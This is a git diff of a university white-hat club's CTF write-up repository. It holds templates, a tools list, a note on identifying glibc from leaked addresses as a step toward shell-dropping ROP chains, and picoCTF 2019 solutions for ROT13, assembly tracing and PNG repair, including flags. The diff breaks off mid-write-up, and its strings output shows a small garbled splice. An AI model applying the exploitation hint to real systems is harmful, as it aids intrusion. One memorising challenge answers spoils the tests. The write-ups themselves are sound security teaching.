diff --git a/.github/CONTRIBUTING.md b/.github/CONTRIBUTING.md index cf8021e..a16e283 100644 --- a/.github/CONTRIBUTING.md +++ b/.github/CONTRIBUTING.md @@ -15,10 +15,22 @@ Welcome to Cal Poly's White Hat Club's CTF Write-Up Repository! If you're readin * The ````README.md```` file for the folder is an exception to this rule. * Any pull requests on the ````LICENSE```` file or any files in the ````.github```` folder are an exception to this rule. 3. All associated, non-markdown files should be placed in a subfolder named ````assets```` - * All non-markdown files must use __camel case__. + * Asset file names should be prefixed with the challenge name. + * Asset files __do not__ have to use camel case if following another naming convention such as snake case for Python files. 4. The folder containing the write-ups must contain a README.md * This file must contain: * The __full CTF name__, * The year, * And a bulleted list of formatted links to all write-up markdown files. - * This list must be in alphabetical order. + * This list should be sorted by category then by point value then by alphabetical order + * The links should be named `challenge name - point value` + +An example file structure for picoCTF19: +``` +writeups +└── picoCTF19 + ├── assets + │ └── handyShellcodeCallGraph.png + ├── handyShellCode.md + └── README.md +``` diff --git a/.github/TECHNIQUE_TEMPLATE.md b/.github/TECHNIQUE_TEMPLATE.md new file mode 100644 index 0000000..ef1fa35 --- /dev/null +++ b/.github/TECHNIQUE_TEMPLATE.md @@ -0,0 +1,29 @@ +# Technique Name +Author: Feel free to put your name or alias + +## Result(s) +- Result 1 +- Result 2 + +## Requirement(s) +- Requirement 1 +- Requirement 2 + +## Steps + +1. Step One + + Detailed general explanation of step one. You can include an example. + +2. Step Two + + Detailed general explanation of step two. You can include an example. + + +## Notes + + Write any notes here. Some things you can write include clearing up when this technique is applicable or other techniques/tools that are relevant to this technique. + +## Example + + Optional \ No newline at end of file diff --git a/.github/WRITEUP_TEMPLATE.md b/.github/WRITEUP_TEMPLATE.md new file mode 100644 index 0000000..05b6766 --- /dev/null +++ b/.github/WRITEUP_TEMPLATE.md @@ -0,0 +1,17 @@ +# CTF Name - Challenge Name +Author: Feel free to put your name or alias \ +Date: Optional + +Category - Points + +> Copy/paste the challenge description here + +## TL;DR + +The TL;DR should include a brief description of both the challenge and the solution. + +# Writeup + +This is where your content goes. This should include the solution as well as how you got to that solution. Do not just post code without an explanation of the code. Any magic numbers/strings should have an explanation. Be sure to include and images, screenshots and any other figures if necessary. Writeups can be informal and don't have to be a purely technical document so feel free to include any entertaining or comedic content to keep the reader interested. + +Any important content you link to should be backed up in the `assets` folder to protect them from [link rot](https://en.wikipedia.org/wiki/Link_rot). Don't forget to cite any resources placed in `assets` or copied elsewhere. \ No newline at end of file diff --git a/README.md b/README.md index 6a7aa1b..b94e59f 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,24 @@ -# ctf-writeups -CTF Write Ups +# White Hat CTF Writeups + +## Table of Contents + +- [Tools and Resources](tools/tools.md#tools-and-resources) + - [Binary Exploitation](tools/tools.md#binary-exploitation) + - [Cryptography](tools/tools.md#cryptography) + - [Forensics](tools/tools.md#forensics) + - [Reverse Engineering](tools/tools.md#reverse-engineering) + - [Web](tools/tools.md#web) +- [Techniques](techniques/techniques.md#techniques) + - [Binary Exploitation](techniques/techniques.md#binary-exploitation-toc) + - [Cryptography](techniques/techniques.md#cryptography-toc) + - [Forensics](techniques/techniques.md#forensics-toc) + - [Reverse Engineering](techniques/techniques.md#reverse-engineering-toc) + - [Web](techniques/techniques.md#web-toc) +- Writeups + - [PicoCTF 2019](writeups/picoCTF19/README.md) + - [UTCTF 2019](writeups/utctf19/README.md) + - [DEF CON Quals 2018](writeups/defConQuals18/README.md) + - [iFixit Trihackathon 2018](writeups/iFixitTrihackathon18/README.md) +- Contributing + - [Code of Conduct](.github/CODE_OF_CONDUCT.md) + - [Contributing Guidelines](.github/CONTRIBUTING.md) diff --git a/techniques/binary-exploitation/unknown-glibc.md b/techniques/binary-exploitation/unknown-glibc.md new file mode 100644 index 0000000..7e78722 --- /dev/null +++ b/techniques/binary-exploitation/unknown-glibc.md @@ -0,0 +1,23 @@ +# Determine Unknown Glibc Version from Leaked Addresses +Author: PinkNoize + +## Result +- Glibc version used by a process + +## Requirement +- Address of 1 or more glibc functions + +## Steps + +1. Get the addresses of some glibc functions + + You can get these addresses however you want. Some examples include debug statements or an arbitrary memory read to read the addresses out of the .got.plt section. + +2. Compare the addresses to known glibc address offsets + + You should not do this manually. Use a tool like [libc-database](https://github.com/niklasb/libc-database). The online version is at [https://libc.rip/](https://libc.rip/). + + +## Notes + +This technique is useful when you are supplied a challenge without a glibc ELF where exploitation would be simplified by having the glibc ELF. This can be combined with [one_gadget](https://github.com/david942j/one_gadget) to speed up the creation of shell dropping ROP chains. \ No newline at end of file diff --git a/techniques/techniques.md b/techniques/techniques.md new file mode 100644 index 0000000..2e242a7 --- /dev/null +++ b/techniques/techniques.md @@ -0,0 +1,12 @@ +# Techniques + +## Binary Exploitation +- [Determine Unknown Glibc Version from Leaked Addresses](binary-exploitation/unknown-glibc.md) + +## Cryptography + +## Forensics + +## Reverse Engineering + +## Web \ No newline at end of file diff --git a/tools/tools.md b/tools/tools.md new file mode 100644 index 0000000..40ba224 --- /dev/null +++ b/tools/tools.md @@ -0,0 +1,63 @@ +# Tools and Resources +## Table of Contents +- [Binary Exploitation](#binary-exploitation) +- [Cryptography](#cryptography) +- [Forensics](#forensics) +- [Reverse Engineering](#reverse-engineering) +- [Web](#web) + +# Binary Exploitation +- [Angr](https://angr.io/) +- [BAP](https://github.com/BinaryAnalysisPlatform/bap) +- [Pwntools](https://github.com/Gallopsled/pwntools) + + Tutorial available [here](https://github.com/Gallopsled/pwntools-tutorial#readme) + +- [LiveOverflow Binary Hacking Course](https://old.liveoverflow.com/binary_hacking/) + +# Cryptography + + +# Forensics +- [Autopsy/The Sleuth Kit](https://www.sleuthkit.org) + +# Reverse Engineering +- [Binary Ninja](https://binary.ninja/) + + - `Price:` $74 with student discount + - Comes with a BNIL(Binary Ninja Intermediate Languages) which approaches decompiled output. + - Debugger is hard to use. + +- [Cutter](https://cutter.re/) + + - `Price:` Free + - GUI frontend of radare2 + - Comes with Ghidra decompiler and many others can be installed + - Debugger support + +- [Ghidra](https://ghidra-sre.org/) + + - `Price:` Free + - A free solid decompiler + - Spinning dragon animation + +- [Hopper](https://www.hopperapp.com/) + + - `Price:` $99 + +- [IDA](https://www.hex-rays.com/products/ida/) + + - `Price:` Check the website, pricing page is too complicated + - Decompiler and debugger + +- [Radare2](https://www.radare.org) + + - `Price:` Free + - Decompilers including Ghidra's can be installed + - Great debugger + - Pure commandline + +# Web +- [Burp](https://portswigger.net/burp) +- [gobuster](https://github.com/OJ/gobuster) +- [sqlmap](https://github.com/sqlmapproject/sqlmap) \ No newline at end of file diff --git a/defConQuals18/README.md b/writeups/defConQuals18/README.md similarity index 100% rename from defConQuals18/README.md rename to writeups/defConQuals18/README.md diff --git a/defConQuals18/assets/forWriteUp0.png b/writeups/defConQuals18/assets/forWriteUp0.png similarity index 100% rename from defConQuals18/assets/forWriteUp0.png rename to writeups/defConQuals18/assets/forWriteUp0.png diff --git a/defConQuals18/assets/forWriteUp1.png b/writeups/defConQuals18/assets/forWriteUp1.png similarity index 100% rename from defConQuals18/assets/forWriteUp1.png rename to writeups/defConQuals18/assets/forWriteUp1.png diff --git a/defConQuals18/assets/forWriteUp2.png b/writeups/defConQuals18/assets/forWriteUp2.png similarity index 100% rename from defConQuals18/assets/forWriteUp2.png rename to writeups/defConQuals18/assets/forWriteUp2.png diff --git a/defConQuals18/sayHi.md b/writeups/defConQuals18/sayHi.md similarity index 100% rename from defConQuals18/sayHi.md rename to writeups/defConQuals18/sayHi.md diff --git a/defConQuals18/youAlreadyKnow.md b/writeups/defConQuals18/youAlreadyKnow.md similarity index 100% rename from defConQuals18/youAlreadyKnow.md rename to writeups/defConQuals18/youAlreadyKnow.md diff --git a/iFixitTrihackathon18/README.md b/writeups/iFixitTrihackathon18/README.md similarity index 100% rename from iFixitTrihackathon18/README.md rename to writeups/iFixitTrihackathon18/README.md diff --git a/iFixitTrihackathon18/assets/SHAke.py b/writeups/iFixitTrihackathon18/assets/SHAke.py similarity index 100% rename from iFixitTrihackathon18/assets/SHAke.py rename to writeups/iFixitTrihackathon18/assets/SHAke.py diff --git a/iFixitTrihackathon18/assets/raTTLe.py b/writeups/iFixitTrihackathon18/assets/raTTLe.py similarity index 100% rename from iFixitTrihackathon18/assets/raTTLe.py rename to writeups/iFixitTrihackathon18/assets/raTTLe.py diff --git a/iFixitTrihackathon18/assets/requirements.txt b/writeups/iFixitTrihackathon18/assets/requirements.txt similarity index 100% rename from iFixitTrihackathon18/assets/requirements.txt rename to writeups/iFixitTrihackathon18/assets/requirements.txt diff --git a/iFixitTrihackathon18/assets/roll.py b/writeups/iFixitTrihackathon18/assets/roll.py similarity index 100% rename from iFixitTrihackathon18/assets/roll.py rename to writeups/iFixitTrihackathon18/assets/roll.py diff --git a/writeups/picoCTF19/13.md b/writeups/picoCTF19/13.md new file mode 100644 index 0000000..effc467 --- /dev/null +++ b/writeups/picoCTF19/13.md @@ -0,0 +1,11 @@ +# PicoCTF 2019 - 13 +Author: PinkNoize + +Cryptography - 50 + +> Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz} + + +# Writeup + +The challenge provides us with the flag but it appears to be [ROT13](https://en.wikipedia.org/wiki/ROT13) encoded. I used [CyberChef](https://gchq.github.io/CyberChef/) for this challenge as it is useful in many crypto challenges. First, input the provided encoded flag in the input section. Then search for ROT13 and drag it into the recipe column. The flag is `picoCTF{not_too_bad_of_a_problem}` diff --git a/writeups/picoCTF19/README.md b/writeups/picoCTF19/README.md new file mode 100644 index 0000000..d87e677 --- /dev/null +++ b/writeups/picoCTF19/README.md @@ -0,0 +1,62 @@ +# PicoCTF 2019 +### Table of Contents +- [Binary Exploitation](#binary-exploitation) +- [Cryptography](#cryptography) +- [Forensics](#forensics) +- [General Skills](#general-skills) +- [Reverse Engineering](#reverse-engineering) +- [Web Exploitation](#web-exploitation) + +## Binary Exploitation +- [handy-shellcode - 50 points](handyShellcode.md) +- [practice-run-1 - 50 points](practiceRun1.md) +- [Overflow-0 - 100 points](overflow0.md) +- [Overflow-1 - 150 points](overflow1.md) +- [slippery-shellcode - 200 points](slipperyShellcode.md) +- [OverFlow 2 - 250 points](overflow2.md) +- [pointy - 350 points](pointy.md) +- [seed-sPRiNG - 350 points](seed-sPRiNG.md) + +## Cryptography +- [The Numbers - 50 points](theNumbers.md) +- [13 - 50 points](13.md) +- [caeser - 100 points](caeser.md) +- [flags - 200 points](flags.md) +- [la cifra de - 200 points](laCifraDe.md) +- [rsa-pop-quiz - 200 points](rsaPopQuiz.md) +- [miniRSA - 300 points](miniRSA.md) +- [waves over lambda - 300 points](wavesOverLambda.md) + +## Forensics +- [Glory of the Garden - 50 points](gloryOfTheGarden.md) +- [unzip - 50 points](unzip.md) +- [So Meta - 150 points](soMeta.md) +- [What Lies Within - 150 points](whatLiesWithin.md) +- [extensions - 150 points](extensions.md) +- [shark on wire 1 - 150 points](sharkOnWire1.md) +- [c0rrupt - 250 points](c0rrupt.md) +- [like1000 - 250 points](like1000.md) + +## General Skills +- [flag_shop - 300 points](flagShop.md) +- [mus1c - 300 points](mus1c.md) + +## Reverse Engineering +- [vault-door-training - 50 points](vaultDoorTraining.md) +- [vault-door-1 - 100 points](vaultDoor1.md) +- [asm1 - 200 points](asm1.md) +- [vault-door-3 - 200 points](vaultDoor3.md) +- [asm2 - 250 points](asm2.md) +- [vault-door-4 - 250 points](vaultDoor4.md) +- [reverse_cipher - 300 points](reverseCipher.md) +- [Need For Speed - 400 points](needForSpeed.md) + +## Web Exploitation +- [Insp3ct0r - 50 Points](insp3ct0r.md) +- [dont-use-client-side - 100 Points](dontUseClientSide.md) +- [logon - 100 Points](logon.md) +- [where-are-the-robots - 100 points](whereAreTheRobots.md) +- [Client-side-again - 200 points](clientSideAgain.md) +- [Open-to-admin - 200 points](openToAdmins.md) +- [picobrowser - 200 points](picobrowser.md) +- [Irish-Name-Repo 1 - 300 points](irishNameRepo1.md) diff --git a/writeups/picoCTF19/asm1.md b/writeups/picoCTF19/asm1.md new file mode 100644 index 0000000..5bbd91d --- /dev/null +++ b/writeups/picoCTF19/asm1.md @@ -0,0 +1,82 @@ +# PicoCTF 2019 - asm1 +Author: PinkNoize + +Reverse Engineering - 200 + +> What does asm1(0x610) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm1_1_95494d904d73b330976420bc1cd763ec. + +## TL;DR + +This challenge provides and assembly function and an input. The return value in hex is the flag. + +# Writeup + +The challenge description asks us to determine the return value of the given assembly function when the argument is 0x610. + +```gas +asm1: + <+0>: push ebp + <+1>: mov ebp,esp + <+3>: cmp DWORD PTR [ebp+0x8],0x3b9 + <+10>: jg 0x50f + <+12>: cmp DWORD PTR [ebp+0x8],0x1 + <+16>: jne 0x507 + <+18>: mov eax,DWORD PTR [ebp+0x8] + <+21>: add eax,0x11 + <+24>: jmp 0x526 + <+26>: mov eax,DWORD PTR [ebp+0x8] + <+29>: sub eax,0x11 + <+32>: jmp 0x526 + <+34>: cmp DWORD PTR [ebp+0x8],0x477 + <+41>: jne 0x520 + <+43>: mov eax,DWORD PTR [ebp+0x8] + <+46>: sub eax,0x11 + <+49>: jmp 0x526 + <+51>: mov eax,DWORD PTR [ebp+0x8] + <+54>: add eax,0x11 + <+57>: pop ebp + <+58>: ret +``` + +Before we can understand how this function will behave, we first have to understand a little about how it is called. As this is x86 (32-bit) assembly, function arguments are placed on the stack. For a better description of the stack, read [this](overflow0.md). + +To call the function with 0x610 we would write... + +```gas +... +push 0x610 +call asm1 +... +``` + +This means that when the function is called, the return address is esp+0 and the argument is esp+4. +The first instruction, `<+0>: push ebp`, backs up the previous stack frame's base pointer. This moves the stack down by 4 so the argument is now at esp+8. + +The second instruction, `<+1>: mov ebp,esp`, sets ebp=esp. This sets up the current base pointer so its easy to find arguments and local variables. The first argument will now be referenced by ebp+8. From here on its a matter of keeping track of the jumps and eax. The green lines are instructions that are executed. + +```diff +asm1: ++ <+0>: push ebp ++ <+1>: mov ebp,esp ++ <+3>: cmp DWORD PTR [ebp+0x8],0x3b9 ++ <+10>: jg 0x50f -------------- +- <+12>: cmp DWORD PTR [ebp+0x8],0x1 | +- <+16>: jne 0x507 | +- <+18>: mov eax,DWORD PTR [ebp+0x8] | +- <+21>: add eax,0x11 | +- <+24>: jmp 0x526 | +- <+26>: mov eax,DWORD PTR [ebp+0x8] | +- <+29>: sub eax,0x11 | +- <+32>: jmp 0x526 | ++ <+34>: cmp DWORD PTR [ebp+0x8],0x477 <--- ++ --- <+41>: jne 0x520 +- | <+43>: mov eax,DWORD PTR [ebp+0x8] +- | <+46>: sub eax,0x11 +- | <+49>: jmp 0x526 ++ -> <+51>: mov eax,DWORD PTR [ebp+0x8] ; eax=0x610 ++ <+54>: add eax,0x11 ; eax + 0x11 = 0x621 ++ <+57>: pop ebp ++ <+58>: ret +``` + +To get the return value after the function returns, we read eax. This means the return value is 0x621, which is the flag. \ No newline at end of file diff --git a/writeups/picoCTF19/asm2.md b/writeups/picoCTF19/asm2.md new file mode 100644 index 0000000..2e24326 --- /dev/null +++ b/writeups/picoCTF19/asm2.md @@ -0,0 +1,91 @@ +# PicoCTF 2019 - asm2 +Author: PinkNoize + +Reverse Engineering - 250 + +> What does asm2(0x10,0x18) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/asm2_0_a50f0b17a6f50b50a53305ebd71af535. + +## TL;DR + +This challenge provides and assembly function and an input. The return value in hex is the flag. + +# Writeup + +This challenge provides with an assembly function just like [asm1](asm1.md). The arguments to this function are 0x10 and 0x18. The solution as detailed in the description is the return value. + +```gas +asm2: + <+0>: push ebp + <+1>: mov ebp,esp + <+3>: sub esp,0x10 + <+6>: mov eax,DWORD PTR [ebp+0xc] + <+9>: mov DWORD PTR [ebp-0x4],eax + <+12>: mov eax,DWORD PTR [ebp+0x8] + <+15>: mov DWORD PTR [ebp-0x8],eax + <+18>: jmp 0x50c + <+20>: add DWORD PTR [ebp-0x4],0x1 + <+24>: add DWORD PTR [ebp-0x8],0xcb + <+31>: cmp DWORD PTR [ebp-0x8],0xb693 + <+38>: jle 0x501 + <+40>: mov eax,DWORD PTR [ebp-0x4] + <+43>: leave + <+44>: ret +``` + +This function starts like any other function by backing up the previous base pointer and setting the current base pointer. It then allocates 0x10 bytes for local variables, `sub esp,0x10`. As we noticed in asm1, the first argument is located at ebp+0x8. Since this is 32 bit x86, a register is 4 bytes. This can let us assume that integers will also be 4 bytes too. Using this assumption, we can say that the 2nd argument is located at ebp+(0x8+0x4) = ebp+0xc. Using this knowledge we can now step through the instructions keeping track of the registers. + +```diff +asm2: ++ <+0>: push ebp ++ <+1>: mov ebp,esp ++ <+3>: sub esp,0x10 ++ <+6>: mov eax,DWORD PTR [ebp+0xc] ; eax = arg2 = 0x18 ++ <+9>: mov DWORD PTR [ebp-0x4],eax ; var1 -> [ebp-0x4] = 0x18 ++ <+12>: mov eax,DWORD PTR [ebp+0x8] ; eax = arg1 = 0x10 ++ <+15>: mov DWORD PTR [ebp-0x8],eax ; var2 -> [ebp-0x8] = 0x10 ++ <+18>: jmp 0x50c ; stopped here + <+20>: add DWORD PTR [ebp-0x4],0x1 + <+24>: add DWORD PTR [ebp-0x8],0xcb + <+31>: cmp DWORD PTR [ebp-0x8],0xb693 + <+38>: jle 0x501 + <+40>: mov eax,DWORD PTR [ebp-0x4] + <+43>: leave + <+44>: ret +``` + +We now notice that there is a jmp that goes to a comparison. As there is a conditional jump after this, we know this is either an if statement or a loop. Given that the jump goes backward and falls back onto the same comparison we can conclude that this is a loop. This loop may get difficult to keep track of so I am going to convert this assembly to C and analyze it further from there. + +NOTE: If you cannot convert between asm and C, don't worry as it is a skill that comes with experience. One way to improve this is to write C code and view the generated assembly at different optimization levels. This will help you identify common patterns that easily translate to C, such as a loop. + +```c++ +int asm2(int arg1, int arg2) { + int var1; // [ebp-0x4] + int var2; // [ebp-0x8] + + var1 = arg2; // mov eax,DWORD PTR [ebp+0xc]; mov DWORD PTR [ebp-0x4],eax + var2 = arg1; //mov eax,DWORD PTR [ebp+0x8]; mov DWORD PTR [ebp-0x8],eax + + while(var2 <= 0xb693) { //cmp DWORD PTR [ebp-0x8],0xb693; jle 0x501 + var1 += 1; // add DWORD PTR [ebp-0x4],0x1 + var2 += 0xcb; // add DWORD PTR [ebp-0x8],0xcb + } + return var1; // mov eax,DWORD PTR [ebp-0x4]; leave; ret +} +``` + +As we can see from the C code, the return value is `var1` after the loop. Let's emulate this loop using python. + +```python +>>> var1 = 0x18 +>>> var2 = 0x10 +>>> while var2 <= 0xb693: +... var1 += 1 +... var2 += 0xcb +... +>>> var1 +255 +>>> hex(var1) +'0xff' +``` + +We now know the result is 0xff. diff --git a/writeups/picoCTF19/assets/flags.png b/writeups/picoCTF19/assets/flags.png new file mode 100644 index 0000000..40f545d Binary files /dev/null and b/writeups/picoCTF19/assets/flags.png differ diff --git a/writeups/picoCTF19/assets/garden.jpg b/writeups/picoCTF19/assets/garden.jpg new file mode 100644 index 0000000..5dad349 Binary files /dev/null and b/writeups/picoCTF19/assets/garden.jpg differ diff --git a/writeups/picoCTF19/assets/insp3ct0rHomePage.png b/writeups/picoCTF19/assets/insp3ct0rHomePage.png new file mode 100644 index 0000000..cd850e2 Binary files /dev/null and b/writeups/picoCTF19/assets/insp3ct0rHomePage.png differ diff --git a/writeups/picoCTF19/assets/logonCookieEdit.png b/writeups/picoCTF19/assets/logonCookieEdit.png new file mode 100644 index 0000000..d9974cf Binary files /dev/null and b/writeups/picoCTF19/assets/logonCookieEdit.png differ diff --git a/writeups/picoCTF19/assets/logonFlag.png b/writeups/picoCTF19/assets/logonFlag.png new file mode 100644 index 0000000..b6ad1ef Binary files /dev/null and b/writeups/picoCTF19/assets/logonFlag.png differ diff --git a/writeups/picoCTF19/assets/logonHomePage.png b/writeups/picoCTF19/assets/logonHomePage.png new file mode 100644 index 0000000..c78adab Binary files /dev/null and b/writeups/picoCTF19/assets/logonHomePage.png differ diff --git a/writeups/picoCTF19/assets/logonSuccessLoginNetwork.png b/writeups/picoCTF19/assets/logonSuccessLoginNetwork.png new file mode 100644 index 0000000..a3693a3 Binary files /dev/null and b/writeups/picoCTF19/assets/logonSuccessLoginNetwork.png differ diff --git a/writeups/picoCTF19/assets/logonSuccessLoginNoAdmin.png b/writeups/picoCTF19/assets/logonSuccessLoginNoAdmin.png new file mode 100644 index 0000000..b8367b0 Binary files /dev/null and b/writeups/picoCTF19/assets/logonSuccessLoginNoAdmin.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedCalculateKey.png b/writeups/picoCTF19/assets/needForSpeedCalculateKey.png new file mode 100644 index 0000000..8d4ca8a Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedCalculateKey.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedDecryptFlag.png b/writeups/picoCTF19/assets/needForSpeedDecryptFlag.png new file mode 100644 index 0000000..19fef19 Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedDecryptFlag.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedEmuButton.png b/writeups/picoCTF19/assets/needForSpeedEmuButton.png new file mode 100644 index 0000000..4ea0d59 Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedEmuButton.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedEmuEdit.png b/writeups/picoCTF19/assets/needForSpeedEmuEdit.png new file mode 100644 index 0000000..680be6a Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedEmuEdit.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedEmuFlag.png b/writeups/picoCTF19/assets/needForSpeedEmuFlag.png new file mode 100644 index 0000000..d8cb3aa Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedEmuFlag.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedEmuStart.png b/writeups/picoCTF19/assets/needForSpeedEmuStart.png new file mode 100644 index 0000000..7f63e06 Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedEmuStart.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedGetKey.png b/writeups/picoCTF19/assets/needForSpeedGetKey.png new file mode 100644 index 0000000..123bdbe Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedGetKey.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedMain.png b/writeups/picoCTF19/assets/needForSpeedMain.png new file mode 100644 index 0000000..694402f Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedMain.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedPrintFlag.png b/writeups/picoCTF19/assets/needForSpeedPrintFlag.png new file mode 100644 index 0000000..cd99db2 Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedPrintFlag.png differ diff --git a/writeups/picoCTF19/assets/needForSpeedSetTimer.png b/writeups/picoCTF19/assets/needForSpeedSetTimer.png new file mode 100644 index 0000000..8dd9f6f Binary files /dev/null and b/writeups/picoCTF19/assets/needForSpeedSetTimer.png differ diff --git a/writeups/picoCTF19/assets/picobrowserNetwork.png b/writeups/picoCTF19/assets/picobrowserNetwork.png new file mode 100644 index 0000000..c76ab03 Binary files /dev/null and b/writeups/picoCTF19/assets/picobrowserNetwork.png differ diff --git a/writeups/picoCTF19/assets/reverseCipherCutterEntry.png b/writeups/picoCTF19/assets/reverseCipherCutterEntry.png new file mode 100644 index 0000000..44508b0 Binary files /dev/null and b/writeups/picoCTF19/assets/reverseCipherCutterEntry.png differ diff --git a/writeups/picoCTF19/assets/reverseCipherCutterMain.png b/writeups/picoCTF19/assets/reverseCipherCutterMain.png new file mode 100644 index 0000000..b440726 Binary files /dev/null and b/writeups/picoCTF19/assets/reverseCipherCutterMain.png differ diff --git a/writeups/picoCTF19/assets/sharkOnWire1TCP.png b/writeups/picoCTF19/assets/sharkOnWire1TCP.png new file mode 100644 index 0000000..eafe5c4 Binary files /dev/null and b/writeups/picoCTF19/assets/sharkOnWire1TCP.png differ diff --git a/writeups/picoCTF19/assets/sharkOnWire1UDPSearch.png b/writeups/picoCTF19/assets/sharkOnWire1UDPSearch.png new file mode 100644 index 0000000..c6018b5 Binary files /dev/null and b/writeups/picoCTF19/assets/sharkOnWire1UDPSearch.png differ diff --git a/writeups/picoCTF19/assets/sharkOnWire1Wireshark.png b/writeups/picoCTF19/assets/sharkOnWire1Wireshark.png new file mode 100644 index 0000000..f1e4f50 Binary files /dev/null and b/writeups/picoCTF19/assets/sharkOnWire1Wireshark.png differ diff --git a/writeups/picoCTF19/assets/soMetaImage.png b/writeups/picoCTF19/assets/soMetaImage.png new file mode 100644 index 0000000..45c81c6 Binary files /dev/null and b/writeups/picoCTF19/assets/soMetaImage.png differ diff --git a/writeups/picoCTF19/assets/theNumbers.png b/writeups/picoCTF19/assets/theNumbers.png new file mode 100644 index 0000000..786c917 Binary files /dev/null and b/writeups/picoCTF19/assets/theNumbers.png differ diff --git a/writeups/picoCTF19/assets/unzipFlag.png b/writeups/picoCTF19/assets/unzipFlag.png new file mode 100644 index 0000000..7940566 Binary files /dev/null and b/writeups/picoCTF19/assets/unzipFlag.png differ diff --git a/writeups/picoCTF19/c0rrupt.md b/writeups/picoCTF19/c0rrupt.md new file mode 100644 index 0000000..8534b89 --- /dev/null +++ b/writeups/picoCTF19/c0rrupt.md @@ -0,0 +1,118 @@ +# PicoCTF 2019 - c0rrupt +Author: PinkNoize + +Forensics - 250 + +> We found this file. Recover the flag. You can also find the file in /problems/c0rrupt_0_1fcad1344c25a122a00721e4af86de13. + +# TL;DR +This challenge provides us with a corrupted PNG file. Fix the header and a few chunks to recover the image with the flag. + +# Writeup + +This challenge provides us with a file called `mystery`. We can try deternining the file type by running `file` on it. + +```bash +$ file mystery +mystery: data +``` + +We can run strings on the file to see if if gives us anything interesting. + +```bash +$ strings mystery +C"DR +sRGB +gAMA + pHYs +DETx^ + +... + +N}`6? +.Tn.9u +hxX@ +%3m6 +e;>6 + 1 mystery.hex +$ head mystery.hex +00000000: 8965 4e34 0d0a b0aa 0000 000d 4322 4452 .eN4........C"DR +00000010: 0000 066a 0000 0447 0802 0000 007c 8bab ...j...G.....|.. +00000020: 7800 0000 0173 5247 4200 aece 1ce9 0000 x....sRGB....... +00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a... +00000040: 0009 7048 5973 aa00 1625 0000 1625 0149 ..pHYs...%...%.I +00000050: 5224 f0aa aaff a5ab 4445 5478 5eec bd3f R$......DETx^..? +00000060: 8e64 cd71 bd2d 8b20 2080 9041 8302 08d0 .d.q.-. ..A.... +00000070: f9ed 40a0 f36e 407b 9023 8f1e d720 8b3e ..@..n@{.#... .> +00000080: b7c1 0d70 0374 b503 ae41 6bf8 bea8 fbdc ...p.t...Ak..... +00000090: 3e7d 2a22 336f de5b 55dd 3d3d f920 9188 >}*"3o.[U.==. .. +``` + +The first 8 bytes of the PNG file should be, `137 80 78 71 13 10 26 10` in decimal or `89 50 4e 47 0d 0a 1a 0a` in hex. After the PNG file signature comes a series of chunks. The first chunk should be a IHDR chunk. After fixing the first line we can try to convert this back into a PNG. + +```bash +$ xxd -r mystery.hex > mystery_v2 +$ xxd mystery_v2 > mystery.hex +$ head mystery.hex +00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR +00000010: 0000 066a 0000 0447 0802 0000 007c 8bab ...j...G.....|.. +00000020: 7800 0000 0173 5247 4200 aece 1ce9 0000 x....sRGB....... +00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000 ..gAMA......a... +00000040: 0009 7048 5973 aa00 1625 0000 1625 0149 ..pHYs...%...%.I +00000050: 5224 f0aa aaff a5ab 4445 5478 5eec bd3f R$......DETx^..? +00000060: 8e64 cd71 bd2d 8b20 2080 9041 8302 08d0 .d.q.-. ..A.... +00000070: f9ed 40a0 f36e 407b 9023 8f1e d720 8b3e ..@..n@{.#... .> +00000080: b7c1 0d70 0374 b503 ae41 6bf8 bea8 fbdc ...p.t...Ak..... +00000090: 3e7d 2a22 336f de5b 55dd 3d3d f920 9188 >}*"3o.[U.==. .. +``` + +If we try to open this as a PNG, it will fail. By looking at the hexdump above, we can see that the chunks we see are IHDR sRGB, gAMA and pHYs. Based on the [specification for the pHYs chunk](https://www.w3.org/TR/PNG-Chunks.html), an IDAT chunk should follow. This chunk must also be corrupted. To find easily find this chunk we can assume the pHYs chunk is correct and use its structure to locate where the IDAT chunk starts. The pHYs chunk starts at 0x3e and its length of its contents is 0x9 bytes. This means that the IDAT starts at 0x3e + 0x4 (pHYs length) + 0x4 (chunk type) + 0x9 (chunk data) + 0x4 (CRC) = 0x53. + +We can update the file to the contents below to fix the chunk type. + +``` +00000050: 5224 f0aa aaff a549 4441 5478 5eec bd3f +``` + +If we try to recreate and open the file now, it will still fail. + +```bash +$ xxd -r mystery.hex > mystery_v2 +$ xxd mystery_v2 > mystery.hex +``` + +We can take a closer look at the IDAT chunk and see that the size is 0xaaaaffa5 which is huge. This size is also corrupted to we will have to calculate and fix that. The next chunk is probably also an IDAT chunk as the spec say this, `There can be multiple IDAT chunks; if so, they must appear consecutively with no other intervening chunks`. + +We can find the address of this with `grep`. + +```bash +$ grep IDAT mystery.hex +00000050: 5224 f0aa aaff a549 4441 5478 5eec bd3f R$.....IDATx^..? +00010000: 6927 db59 0000 fff4 4944 4154 3697 4678 i'.Y....IDAT6.Fx +00020000: ba6b c1fa 0000 fff4 4944 4154 d5df c0b7 .k......IDAT.... +00030000: 5997 d200 0000 18a0 4944 4154 bb9d f54c Y.......IDAT...L +``` + +The next IDAT chunk starts at 0x10004. The size of our 